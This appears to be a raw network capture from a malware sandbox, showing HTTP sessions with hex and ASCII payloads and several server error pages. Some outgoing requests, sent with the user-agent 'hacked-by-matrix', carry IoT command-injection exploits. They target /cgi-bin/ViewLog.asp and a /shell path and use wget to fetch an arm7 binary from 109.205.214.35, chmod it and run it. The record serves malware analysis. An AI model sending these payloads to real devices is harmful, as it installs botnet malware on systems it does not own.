Mar 21, 2024 05:17:27.730959892 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:27 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:17:27.730973005 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:17:27.730986118 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:17:27.730998993 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:17:27.731013060 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:17:27.731028080 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:17:27.731040001 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:17:27.731053114 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to cloudwebx3.newtekwebhosting.com's <a href="mailto:
Mar 21, 2024 05:17:27.731066942 CET	389	IN	Data Raw: 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 Data Ascii: tm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	33830	83.69.207.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.150809050 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.360903025 CET	173	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center></center></body></html>
Mar 21, 2024 05:17:27.360933065 CET	421	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:11:33 GMT Content-Type: text/html Content-Length: 173 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Strict-Transport-Security: max-age=31536000; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	56574	38.170.5.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.190565109 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:27.294142008 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3602 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Mar 21, 2024 05:17:27.294161081 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Mar 21, 2024 05:17:27.294178009 CET	1286	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	45384	213.199.53.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.337784052 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.307779074 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.481184006 CET	1002	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 6d 69 31 37 33 35 37 36 31 2e 63 6f 6e 74 61 62 6f 73 65 72 76 65 72 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:28 